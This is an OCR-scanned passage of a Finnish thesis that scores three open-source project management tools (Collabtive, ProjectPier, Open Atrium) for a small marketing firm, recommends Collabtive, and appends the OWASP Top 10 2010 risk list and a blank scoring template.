helpoutta, tydkalun suomenkielisyyttd, dokumentaation ja ohjeiden kattavuutta
seka kayttdjien hallinnan monipuolisuutta. Yleisien ominaisuuksien vertailutu-

lokset l0ytyvat taulukosta 2.
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Asennus

Collabtiven asentaminen oli nopea ja helppo prosessi. Asennusohjeet olivat
yksinkertaiset, selkedt ja vielapa suomenkieliset. Latauspaketista ladattujen
tiedostojen siirtdAmisen palvemille ja tietokannan luomisen jalkeen asennettiin
sovellus selaimen avulla. Selaimen kautta suoritettu osio oli erittdin nopea ja
selkeda "step-by-step” asennus (ks. kuvio 4). Lopuksi poistettiin manuaalisesti

asennustiedostot palvelimelta.

ProjectPierin asentaminen oli hyvin samankaltainen prosessi kuin Collabtiven
asennus. Muutamina poikkeuksina ProjectPierin asennustiedostoja ei tarvin-

nut poistaa palvelimelta ja tietokannan asetuksissa oli vaihtoehtona maarittaa
tietokannan tauluille nimeamiskaytanto. Viimeisena mainittu mahdollistaa kéay-

tdnndssa useamman ProjecPier-tydkalun samassa tietokannassa.

Open Atriumin asentaminen poikkeaa Collabtiven ja ProjectPierin asennuk-
sesta melko paljon, silla se on asennettava Drupal-sisallonhallintajarjestelméan
yhteyteen, ja on tasta syysta hieman monimutkaisempi asennettava. Drupal-
pakettia ei tarvitse kuitenkaan ladata erikseen vaan se |6ytyy Open Atriumin
omasta latauspaketista. Latauspaketin tiedostot siirretaan palvelimelle, jonka
jalkeen tietokanta ja muut tarvittavat asetukset syotetaan hieman monimutkai-
seen settings.php tiedostoon. Taman jalkeen suoritetaan asennus selaimen
kautta, selkedn kayttoliittyman avulla. Asennuksen yhteydessa tulee muistaa

valita asennusprofiiliksi Open Atrium.
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Asenna Collabtive

Asennusohjelman Kieli

[valitse [~]

1. Jarjestelman vaatimukset asennukselle

Asennusohjelma tarkistaa, tayttyvatko jarestelman vaatimukset.

Nimi: Tila:
PHP 5 OK
config.php Kirjoitusoikeudet OK
myénnetty

files Kirjoitusoikeudet myonnetty ~ OK
templates_c Kirjoitusoikeudet OK

myénnetty

2. Tietokanta

Syéta tietokannan kirjautumistiedot.

Tietokantapalvelin:

| localhost |

Tietokannan nimi:

Klikkaa 'jatka" jatkaaksesi asennusta.

KUVIO 4. Collabtiven asennus

Suomenkielisyys

Collabtivessa suomen kielen voi valita heti asennuksen yhteydessa. Kielen voi
my6s my6hemmin vaihtaa jarjestelmén asetuksista. Collabtiven suomi on hy-
vaa kielta ja kdanndstyota on tehty runsaasti (97%). Muutamat kaantamatto-
mat tekstit on kuitenkin jatetty kokonaan tyhjiksi, eika niita ole jatetty edes
englanniksi. Kayttajalta jaakin talloin epaselvaksi esim. muutaman tekstiken-
tan ja valintaruudun tarkoitus. Ka&nnostyota voi tehda myos itse muokkaamal-

la language-kansiossa olevia kd&dnndstiedostoja.
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Suomen kielipaketti on ladattava erikseen ProjectPierin kotisivulta. Kielipake-
tin 10ytaa helposti translations-sivulta. Asennus tapahtuu siirtamalla ladattu
kielipaketti jarjestelman language-kansioon. Kielen voi valita ennen sisdén
kirjautumista. Oletuskielen voi myos vaihtaa suhteellisen helposti muuttamalla
hieman lahdekoodia. Suomen kielen kd&dnnokset ovat viela keskeneraiset.
Kaantamattomia teksteja on vielda melko paljon etenkin sovelluksen konfigu-
rointisivuilla. Kaantamattomat tekstit huomaavat helposti, silla ne on merkattu
sulkuihin ja niiden edessa on kdannospaketin kielitunnus esim. fi_fi (activa-

ted). Kéanndstyota voi tehdd muokkaamalla kielipaketin php-tiedostoja.

Open Atriumissa suomen kielen voi valita heti asennuksen yhteydessa tai
myohemmin jarjestelman asetuksista. Kielipakettia ei tarvitse ladata erikseen,
silla jarjestelmé osaa ladata sen automaattisesti. Jarjestelman voi asettaa
myos paivittamaan kieliversiot automaattisesti. Kaannostyota Open Atriumiin
on tehty erittdin vahan (17%). Kaannostyota voi tehda itse jarjestelméan vai-

keakayttoisella kd&nnostyodkalulla.

Dokumentaatio/ohjeet

Collabtiven dokumentaatio on puutteellinen. Collabtivella on ainoastaan oma
fooruminsa, jossa kavijat keskustelevat ohjelman toiminnasta, virheista, omi-
naisuuksista jne. Hetken selaamisen jalkeen I6ysin my6s edell& mainitulta foo-
rumilta kahdeksansivuisen kayttdohjeen Collabtiven perusteista, joka oli kui-

tenkin puoliksi englannin ja puoliksi saksan kielella.

ProjectPierin dokumentaatio 16ytyy sen omilta kotisivuilta. Dokumentaatiossa
on kerrottu sovelluksen peruskayttd selkeasti ja lyhyesti. ProjectPierin perus-
kayton oppii kylla dokumentaatiota lukemalla, mikali englannin kieli on hallus-
sa. Dokumentaation liséksi ProjectPierilla on myds oma fooruminsa, mista

loytyy keskusteluja ja vinkkeja mm. sovelluksen kustomoinnista.

Open Atriumin dokumentaatio on vertailun paras ja sita on selkeasti eniten.
Dokumentointi [6ytyy Open Atriumin sivuilta. Asennus- ja kayttdohjeiden lisék-

si |0ytyy informaatiota Open Atriumin sovellusarkkitehtuurista, sovelluksen
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kustomoinnista seké& uusien ominaisuuksien rakentamisesta. Lisaksi Open
Atriumilla on oma issues-foorumi, jossa kayttajat kirjoittelevat havaitsemistaan

virheista ja nilden mahdollisista ratkaisuista.

Kayttajien hallinta

Collabtivessa uusien kayttajien lisd&minen ja vanhojen muokkaaminen onnis-
tuu napparasti. Kayttajatiedot ovat kattavat. Kayttajalle voi asettaa mm. sah-
kopostiosoitteen, puhelinnumeroita, osoitetiedot ja kuvan. Kayttajalle voi antaa
my6s oman kayttooikeusroolin. Rooleja voi lisata rajattomasti ja niille voi antaa
oikeuksia jarjestelméan kayttoa varten.

Kayttgjien lisddaminen on ProjectPierissa helppoa. Kayttajatiedot ovat yhta
kattavat kuin Collabtivessakin. ProjectPierissa on otettu paremmin huomioon
myos asiakkaan seurantamahdollisuus, silla ProjectPierissa voi lisdtd myods
useita asiakkaita, joiden alla voi olla useita kayttajia. Kun asiakaskayttajien
oikeuksia maaritellaan projektikohtaisesti, voi asiakkaille turvallisesti antaa
paasyn projektinhallintajarjestelmaan. Kayttajalla voi siis olla toiseen projektiin
pelkat lukuoikeudet ja toiseen taydet hallinta- ja muokkausoikeudet.

Kayttgjien lisddminen on myos Open Atriumissa nopeaa ja helppoa.
Kayttajatietoja on oletuksena todella vahan. Kayttajatietokenttia voi kuitenkin
lisata kytkemalla Profile-nimisen moduulin paalle ja lisaamalla kasin
haluamiansa kayttajatietokenttia. Open Atriumissa on myods mahdollista antaa
kayttajille useita erilaisia rooleja. Roolien kayttdoikeuksia pystyy
muokkaamaan erittéin kattavasti. Kayttdoikeuksien antamiseen pitda perehtya

huolella, silla muokattavia oikeuksia on jopa turhankin paljon.

TAULUKKO 2. Yleisten ominaisuuksien vertailu

Yleiset ominaisuudet | Collabtive | ProjectPier | Open Paino
Atrium | kerroin
Asennus 4 4 3 0,5
Suomenkielisyys 4 3 2 1,5
Dokumentaatio / oh- 1 3 5 1,0
jeet
Kayttdjien hallinta 3 4 4 1,5
Yhteensa 13,5 15,5 15,5
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4.4.2 Projektinhallinta

Tassa luvussa kasitellaan jarjestelman projektinhallintaominaisuuksia: tehtavi-
en hallintaa, projektin kokonaiskuvan hallintaa ja hahmottamista, raportointi-
tyokalujen monipuolisuutta, aikataulujen hallintaa, dokumenttien hallintaa seka
kollaboraatiota eli yhteisty6hon tarvittavia tyokaluja. Vertailun tulokset ovat

luettavissa taulukossa 3.

Tehtavien hallinta

Collabtivessa tehtavat taytyy aina kategorisoida johonkin tiettyyn tehtavalis-
taan. Tehtavalistat tuntuvat hieman merkityksettomilta, silla tehtavalistaan
syotettdvan datan maara on vahainen. Myds itse tehtavien informaatio on
melko vahaista. Tehtavaan voi syottdd nimen ja kuvauksen lisaksi deadlinen
ja kenelle kayttajalle tehtava annetaan. Sovellus lahettaa kayttajan sahkopos-

tiin tiedon, kun talle annetaan uusi tehtava.

Myds ProjectPierissé on tehtavat aina tehtavalistojen sisalla. Tehtavalistoihin
syotettava informaatio kattaa perustarpeet resurssien suunnittelua ja hallintaa
lukuunottamatta. Itse tehtévien osalta ProjectPier on samaa tasoa kuin Collab-
tive. ProjectPier tarjoaa kuitenkin myos pelkkien tehtavien lisdksi oman tiketti-
jarjestelman. Tiketteihin voi luokitella paremmin esim. kategorioita ja prioriteet-
teja. Lisaksi yleisndkyma tiketeistd on huomattavasti tehtavien vastaavaa sel-

keampi (ks. kuvio 5).
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Open tickets

View

» Open tickets

b Closed tickets
b Ticket categories

4 Tiketti 6 Defect Opened PHP-phjelmointivirhe admin Legend

2 Tiketti 3 Enhancement Opened admin admin

Testitiketti Feature Confirmed admin

Tehtavilista 1

Tehtavilista 1 Completed: 33% (1 of 3)

Due date: Saturday, April 23

Tags: --

Testaussuunnitelma2
Due date: Saturday, April 30

Molentum Marketing Oy | Edit | Delete | Vie:

Apr 11, 2011 | adm.

KUVIO 5. ProjectPierin tikettijarjestelma ja tehtavalistaus

Open Atriumin tehtavanhallinta on hyvin samankaltainen ProjectPierin tiketti-
jarjestelman kanssa. Myoskaan deadline-kenttaa ei ole Open Atriumissa erik-
seen. Avoimien ja tehtyjen tehtavien seurantaa on helpotettu tehtavafiltterin

avulla.

Resurssien hallinta

Collabtivessa resurssien syottaminen ja muokkaaminen on toteutettu toimi-
vasti ja selkeasti. Tyokaluun merkataan tyoskentelypaivamaara, tehtava mihin
resurssit on kaytetty, kommentit seka kellonajat siité, milloin tydskentely on
aloitettu ja lopetettu (ks. kuvio 6). Muita resursseja, kuten taloudellisia resurs-
seja, el jarjestelmaan voi syéttaa. Resurssien suunnittelutydkalua ei Collabti-

vessa ole.

ProjectPier mahdollistaa myds yksinkertaisen tydtuntien syottdmisen. Project-
Pieriin voi lisdksi merkata, onko syotetyt resurssit asiakkaalle julkisia seka
ovatko kaytetyt tydtunnit laskutettavia vai eivat. Kuten ei Collabtivessakaan, ei
ProjectPierissékaan pysty hallinnoimaan kuin tyétunteja. Open Atriumilla ei

puolestaan ollut resurssienhallintatytkalua laisinkaan.
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@ Ajanhallinta

Paiva: 18.04.2011

Aloitettu: 14:00 m

Lopetettu: 16.30 m

Kommentti: B I U |Fonttkoke ~ |E = = |iZ = ® ];A_}-
Kommentointia.....

Tehtava: Valitse EI

KUVIO 6. Collabtiven ajanhallinta.

Projektin kokonaisuuden hallinta ja hahmottaminen

Collabtiven projektietusivu on selkea ja tyylikas. Projektin paasivulta 16ytyy
kalenteri, johon on merkattu tehtavien deadlinet ja tavoitteet, ajanhallintatyo-
kalu, johon voi syo6ttaa kaytettyja resursseja, seké projektin toimintalista, josta
nakee kaikki toiminnot, mita sovelluksessa on tehty esim. uusi tehtava lisatty.
Lisaksi paasivulta nékee, kuinka monta paivaa on jaljella projektin paattymi-
seen, seka prosenttiluvun, kuinka paljon tehtavia on tehtyna tekemattomiin
nahden.

Myds ProjectPierissa kayttaja pystyy nopeasti hahmottamaan tulevat tavoit-
teet seka sovelluksessa viimeisimmaét toiminnot yhdella silmayksella. Collabti-
ven kaltaista kalenteria ei ProjectPierista 10ytynyt. Viimeisimmat tapahtumat
saa myos ladattua RSS-syo6tteena. Tavoitteet-valilehdeltd ndkee tarkemmin

myaos tulevien vélitavoitteiden tilanteen.

Open Atriumin projektin kokonaisuuden hahmottaminen on heikkoa. Projek-
teista on nakyvilla ainoastaan viimeisimmat tapahtumat ja tehtavat. Erillisia

tavoitteita tai tehtavalistoja ei voi lisata ollenkaan.
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Raportointityokalut

Collabtivessa voi ladata tyokaluun syotetyt resurssit seké viimeisimmaét sovel-
luksen toiminnot siistind PDF-tiedostona tai vaihtoehtoisesti Excel-taulukkona.
Raportteihin pystyy tarkentamaan hakemalla syo6tettyja resursseja halutulla

aikavalilla. Projektin kokonaistilanteesta ei saa raporttia.

ProjectPierissé voi myds tarkastella syotettyja resursseja. Erona Collabtiveen
on, ettei raportteja saa ladattua missddn muodossa, vaan ne nakyvat kiintea-
na taulukkona itse tytkalussa. Erikoinen puute on myds se, etta laskutettavia
seka ei-laskutettavia ty6tunteja ei ole eritely raporteissa millaén tavalla. Open
Atriumissa ei puolestaan ole erillista projektin tai resurssienseurantaraportoin-

tia ollenkaan.

Dokumenttien hallinta ja wiki
Collabtiveen pystyy lataamaan kétevasti tiedostoja seka lisddmaan kansioita.
Kansioiden ja tiedostojen kayttdoikeuksia pystyy myods hallitsemaan kattavasti.

Wiki-tyyppistéa ratkaisua ei ole Collabtivessa tarjolla.

ProjectPier tarjoaa puolestaan molemmat vaihtoehdot. Tiedostojen ja kansioi-
den hallinta on lahes yhta kattavaa kuin Collabtivessa. ProjectPierissa on
myds oma wiki, johon voi sy6ttdd omia informaatiosivuja. Sivuja voi halutes-
saan muokata my6hemmin muutkin kuin sivun luoneet kayttajat. Liséksi voi

tarkastella sivujen eri versioita ja palauttaa aiemmin luotuja versioita.

Open Atriumissa voi puolestaan lisata muistiosivuja. Muistioon pystyy tekstin
kirjoittamisen liséksi lisaéamaén tiedostoja muistiosivun liitteeksi. Muistioita voi
lisatd projektien ja tehtavien yhteyteen seka toisten muistioiden alle "lapsi-

muistoiksi”.
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Aikataulutus
Collabtivessa on kaytossa seka kayttajalle etta jokaiselle projektille oma ka-
lenterinsa. Kalenteriin ei voi syottaa kuin tavoitteita ja tehtavia. Tapahtumia

Collabtiveen ei voi lisata, ellei kayta tehtavia tapahtumina.

ProjectPierissé ei itsessaan ole selkeda tytkalua, jolla projektin aikataulua
voisi seurata ja hallinnoida. Kalenteri onkin "ulkoistettu”, silla ProjectPier kayt-
taa iCal-syotettd, jonka avulla kayttaja voi ladata kalenteridatan haluamaansa

kalenterisovellukseen, joita ovat esim. Microsoft Outlook ja Google Calender.

Open Atriumin kalenteri toimii oikeastaan omana kalenterisovelluksenaan.
Kalenteriin voi liséata tapahtumia ja siihen voi jopa ladata iCal-sy6tteen jostain
muusta sovelluksesta. Tehtavia ja projektin aikatauluja ei voi kuitenkaan ka-
lenteriin liséata eika niité voi seurata kootusti muustakaan sovelluksen tytka-

lusta.

Viestimistydkalut

Kaikissa jarjestelmissé voi lahettaa viesteja toisille kayttgjille. Collabtivessa ja
ProjectPierissé on omat viestisivunsa, joita pystyy lahettamaan projektiryhmal-
le. Viesteista saa halutessaan myos tiedon kayttajien sahkopostiin. Project-
Pierissé on lisdksi mahdollisuus lahettaa kayttajille massasahkoposteja. Open
Atriumissa viestittely on ainoastaan yksinkertaisen shoutboxin varassa. Toki
Open Atriumin muistiokin toimii viestien korvikkeena. Collabtive oli vertailtavis-
ta jarjestelmista ainut, jossa oli mahdollista chattailla samaan aikaan sisaan-

kirjautuneiden kayttajien valilla.
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TAULUKKO 3. Projektinhallinnan vertailu

Projektinhallinta Collabtive | ProjectPier | Open Paino-
Atrium kerroin
Tehtavien hallinta 4 4 3 2,0
Resurssien hallinta 3 3 0 2,0
Projektin kokonaisuuden 4 4 2 1,5
hallinta / hahmottaminen
Raportointityokalut 3 2 0 15
Dokumenttienhallinta / 3 4 3 1,5
wiki
Aikataulutus 4 3 2 1,5
Viestimistydkalut 4 3 2 15
Yhteensa 41 38 19,5

4.4.3 Kaytettavyys

Tassa luvussa kaydaan lapi vertailtavien sovelluksien nopeutta ja toimintaa
hitaammillakin yhteyksilla, kayttdjan ohjeistamista sovelluksessa seka yleista

kaytettavyytta. Vertailun tulokset ovat luettavissa taulukossa 4.

Jarjestelman nopeus

Jarjestelman nopeutta testattiin Googlen kehittamalla Page Speed-tydkalulla,
joka lahdekoodia tutkimalla antaa pistemaéaran sivuston nopeudelle. Parhaan
pistemaaran sai Collabtive, joka kerasi keskimaarin 70/100 pistetta. Project-
Pier keréasi keskimaarin 55/100 pistetta: Open Atrium kerasi keskimé&érin vain
30/100 pistetta. Jarjestelmaa testattiin myos internetyhteydellda, jonka nopeus
oli 1 Mt/s. Kaikki jarjestelmat toimivat kyseisella nopeudella kohtuullisen jou-

hevasti ilman suurempia katkoksia.

Kayttajan ohjeistus

Collabtive seka ProjectPier eivat tarjoa minkaanlaista selkeaa ohjeistusta so-
velluksen kayttamisesta. Ensimmaisilla kayttokerroilla kayttaja voikin olla hie-
man hammentynyt sovellusten toiminnasta. Open Atriumissa on puolestaan
oletuksena aloitussivulla englanninkielinen tutoriaalivideo Open Atriumin pe-
ruskaytosta. Lisaksi lahes jokaisella Open Atriumin toimintosivulla 16ytyy ohje-
kuvake, jota painamalla kayttajalle aukeaa pieni ikkuna sivukohtaisine ohjei-

neen.
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Yleinen kaytettavyys

Collabtiven kayttolittyma on selked, tyylikas ja looginen. Navigointi on loogi-
nen ja helposti ymmarrettavissa. Tyylikkaiden kuvakkeiden tukena on selkeéat
tekstiselitteet, jotka tukevat kayttajaa navigoimisessa seka toimintojen suorit-
tamisessa (ks. kuvio 7). Collabtiven kaytbn oppii nopeasti ja sen kayttdminen
on tehokasta ja miellyttavaa.

ﬁ"COLLABTNE

KUVIO 7. Collabtiven valikkorakenne

ProjectPier on Collabtiveen verrattuna karkeampi ja sekavampi. ProjectPier on
kylla looginen, mutta se pyrkii tuomaan kayttajalle liian paljon toimintoja ja in-
formaatiota yhdella kertaa. Valikkojen maara voi pistaa monelta kayttajalta
aluksi sormen suuhun (ks.kuvio 8). ProjectPierin kayton opetteleminen vaatii
tavallista enemman aikaa. Kayttajaa tukevia kuvakkeita ei ProjectPierissa ole

juuri nimeksikaan.

ProjectPier | Oppari My projects V| Mytasks WV | Administration W | Viewadmin W

Messages Tasks Milestones Files Forms Links Tags Tickets Time Wiki

Add message | Add task list | Add milestone | Add file | Add folder | Add form | Add link | Add ticket | Add time | Addpage | Download all tasks

KUVIO 8. ProjectPierin valikkorakenne

Open Atrium on ulkoasultaan ja kaytettavyydeltdan Collabtiven kaltainen.
Paavalikko on selkea ja nousee hyvin esiin tyylikkdiden kuvakkeidensa ansi-
osta (ks. kuvio 9). Open Atriumin peruskaytdn oppii nopeasti ja sen kanssa
tyoskentely on tehokasta. On kuitenkin huomioitava, ettd Open Atriumin toi-
mintojen maara ei ylla Collabtiven ja ProjectPierin tasolle. Open Atriumin yll&a-

pito-osiossa loogisuuden ja navigaation taso laskee kuitenkin merkittavasti.
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TODO

]

Tehtavien seuranta

Kaikki tehtavat Omat tehtavat Projektit  Archived

KUVIO 9. Open Atriumin valikko

TAULUKKO 4. Kaytettavyyden vertailu

Kaytettavyys Collabtive | ProjectPier | Open Paino-

Atrium kerroin
Jarjestelmén nopeus 4 3 3 1,0
Kayttajan ohjeistaminen 0 0 4 1,0
Yleinen kaytettavyys 5 2 4 2,0
Yhteensa 14 7 15

4.5 Sopivan jarjestelméan valinta

Taulukossa 5 on kaikkien kolmen vertailussa mukana olleiden projektinhallin-

tajarjestelmien saavuttamat kokonaispistemaarat.

TAULUKKO 5. Vertailtavien projektinhallintajarjestelmien kokonaispisteet.

Collabtive | ProjectPier | Open

Atrium

Yleiset ominaisuudet 13,5 15,5 15,5

Projektinhallinta 41 38 19,5
Kaytettavyys 14 I 15
Kokonaispisteet 68,5 60,5 50

Open Atrium jai vertailussa auttamatta huonoimmalle sijalle. Open Atriumin
projektinhallintaominaisuudet eivét ole tamén opinnaytetyon kirjoitusvaiheessa
riittavalla tasolla. Open Atriumilla on kuitenkin potentiaalia, silla sen kehitysyh-
teis6 on laaja. Liséksi Drupalin nopea kasvu ja kehitys edesauttaa paljon
Open Atriumia. Kehitteilla olevat Drupalin moduulit ja muut lisdtoiminnot ovat

mahdollisesti hyddyllisia myds Open Atriumissa.

Collabtive ja ProjectPier kamppailivat tiukasti vertailun voitosta. Ominaisuuk-
siltaan Collabtive oli ProjectPieria niukasti valmiimpi kokonaisuus. Liséksi kay-
tettavyydessa ProjectPier havisi selvasti niin Collabtivelle kuin Open Atriumil-

le. Kayttoliittyma olikin ProjectPierin suurin heikkous.
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Vertailussa parhaiten parjannyt Collabtive on vertailtavista sovelluksista ehjin
kokonaisuus, vaikka pistesaalis jai vain tyydyttavalle tasolle. Collabtive on
toimiva, helppokayttdinen ja hyvin toteutettu tydkalu, vaikka joitain ominai-

suuksia jainkin kaipaamaan (esim. tapahtumakalenteri ja kayttajan ohjeistus).

Selvityksen perusteella voidaan siis todeta, etta vertailussa eniten pisteita
saanut Collabtive on kokeilemisen arvoinen vaihtoehto Molentum Marketingin
siséiseksi projektinhallintatydkaluksi. Collabtive omaa my6s menestymispo-
tentiaalia Molentum Marketingin myytavana tuotteena.
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5 YHTEENVETO

Avoin lahdekoodi on ollut rajussa noususuhdanteessa koko 2000-luvun ajan.
Se mahdollistaa nykypaivana paljon, etenkin tavallisen kuluttajan ja pk-
sektorin yrittajien nakdkulmasta. Avoimen lahdekoodin ratkaisut tarjoavat mo-
nesti taloudellisesti edullisemman vaihtoehdon kalliimmille suljetun lahdekoo-
din ohjelmille. Avoin lahdekoodi mahdollistaa myds uudenlaisen nédkdkulman
IT-alan yrittajien keskuudessa. Kalliiden lisenssimaksujen sijaan IT-alan yri-

tykset voivat myyda palveluja, kuten asennusta, yllapitoa ja koulutusta.

Projektinhallinnan tarkeys on 2000-luvun yrityskulttuurissa noussut huimasti.
Myds monet pienet ja keskisuuret yritykset tarvitsevat, hieman alasta riippuen,
enemman tai vahemman hyvaa projektinhallintaa. Projektinhallintaohjelmia ja
sovelluksia on ollut jo kauan, mutta dynaamiset web-pohjaiset ratkaisut ovat
uudempi ilmié. Web-pohjaiset projektinhallintasovellukset ovat kevyempia,

ketterampia ja mika parasta toimivia kaikilla nykytietokoneilla.

Taman opinnaytetyon tavoitteena oli tutkia ja vertailla avoimen lahdekoodin
projektinhallintajarjestelmia pienelle digitaalisen median palveluntarjoajalle
(Molentum Marketing Oy). Tydssa selvitettiin avoimen lahdekoodin perusperi-
aatteita seka projektinhallintajarjestelmien vaatimuksia. Lopuksi selvitettiin,
miké& projektinhallintajarjestelma sopii parhaiten Molentum Marketingin kayt-

toon.

Opinnaytetyon tarkein osio ja konkreettinen tulos muodostuivat kolmen erilai-
sen avoimen lahdekoodin jarjestelmien keskinaisesta vertailusta. Vertailu suo-
ritettiin liitteessé 2 olevan vertailukehikon mukaisesti. Selvityksessd mukana

olleet jarjestelmat pisteytettiin vertailukehikon jokaiselta osa-alueelta.

Olivatko tulokset sellaisia kuin toivoin niiden olevan? Tavoitteenahan oli saada
Molentum Marketingille kayttdon uusi projektinhallintajarjestelma. Vertailu on-
nistui mielestani hyvin, vaikka odotin muiden erittédin hyvien avoimen lahde-
koodin ohjelmistojen, kuten Drupal, Joomla! ja OpenOffice, perusteella etta
vertailtavien projektinhallintajarjestelmien taso olisi korkeampi. Vertailun voit-

taja Collabtive on kohtuullisen toimiva projektinhallintatytkalu hieman pie-
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nemmille projektiryhmille. Mutta kuten Collabtiven loppupistemaara (68,5/100)

osoittaa, puuttuu siitd viela muutamia tyOkaluja ja ominaisuuksia.

Collabtive on kuitenkin vasta kehityksensa alkutaipaleella, joten on ymmarret-
tavaa, ettd kaikki ei ole viela valmista. Collabtive on hyvalla ja vakaalla tiella,
silla sen perusteet ovat erittain hyvalla mallilla (esim. kaytettavyys). Uusien
avoimen lahdekoodin ohjelmien kehitysta on aina hankala arvioida. Toivon,
ettd Collabtive ja myds muut avoimen lahdekoodin projektinhallintatyokalut
kehittyvat ja sita kautta kykenevét haastamaan kaupalliset kilpailijansa. Avoin
lahdekoodi on nimittain tullut jaAddakseen, myds projektinhallinnan saralla.
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LITTEET

Liite 1. 10 kriittisinta web-sovellusten tietoturvariskia.

T10 OWASP Top 10 Application
Security Risks —2010

eInjection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an
Al - Injection interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter
into executing unintended commands or accessing unauthorized data.

A2 - Cross-Site *XSS flaws occur whenever an application takes untrusted data and sends it to a web browser
Scripting (XSS) without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s
pting browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

A3 - Broken
Authentication and *Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or

Session exploit other implementation flaws to assume other users’ identities.

Management

A4 - Insecure *A direct object reference occurs when a developer exposes a reference to an internal
Direct Object implementation object, such as a file, directory, or database key. Without an access control check
References or other protection, attackers can manipulate these references to access unauthorized data.

A5 — Cross-Site *A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the
Request Forgery victim’s session cookie and any other automatically included authentication information, to a
vulnerable web application. This allows the attacker to force the victim’s browser to generate
(CSRF) requests the vulnerable application thinks are legitimate requests from the victim.

. *Good security requires having a secure configuration defined and deployed for the application,
A6 — Security frameworks, application server, web server, database server, and platform. All these settings
Misconfiguration should be defined, implemented, and maintained as many are not shipped with secure defaults.
This includes keeping all software up to date, including all code libraries used by the application.

A7 - Insecur.e *Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and
Cryptographic authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify
Storage such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

A8 - Failure to *Many web applications check URL access rights before rendering protected links and buttons.
Restrict URL Access However, applications need to perform similar access control checks each time these pages are
accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

A9 - Insufficient *Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity
Transport Layer of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired
Protection or invalid certificates, or do not use them correctly.

A10- pnvalidated *Web applications frequently redirect and forward users to other pages and websites, and use
Redirects and untrusted data to determine the destination pages. Without proper validation, attackers can
Forwards redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.




Liite 2. Vertailukehikko

Pisteytys:

Op = Toiminto puuttuu
1p = Huono

2p = Keskiverto

3p = Hyva

4p = Erittain hyva
5p = Erinomainen

Painokerroin:

0,5 = Ei tarked ominaisuus
1,0 = Oleellinen ominaisuus
1,5 = Tarked ominaisuus

39

2,0 = Erittain tarkea ominaisuus

Collabtive | Project Open Painoker-

Pier Atrium roin
Yleiset ominaisuudet
Asennus 0,5
Suomenkielisyys 1,5
Dokumentaatio / ohjeet 1,0
Kayttgjien hallinta 1,5
Yhteensa
Projektinhallinta
Tehtavien hallinta 2,0
Resurssien hallinta 2,0
Projektin kokonaisuuden 15
hallinta / hahmottaminen
Raportointityokalut 1,5
Dokumenttienhallinta / wiki 1,5
Aikataulutus 1,5
Viestimistyokalut 1,5
Yhteensé
Kaytettavyys
Jarjestelman nopeus 1,0
Kayttajan ohjeistaminen 1,0
Yleinen kaytettavyys 2,0

Yhteenséa

| Kokonaispisteet




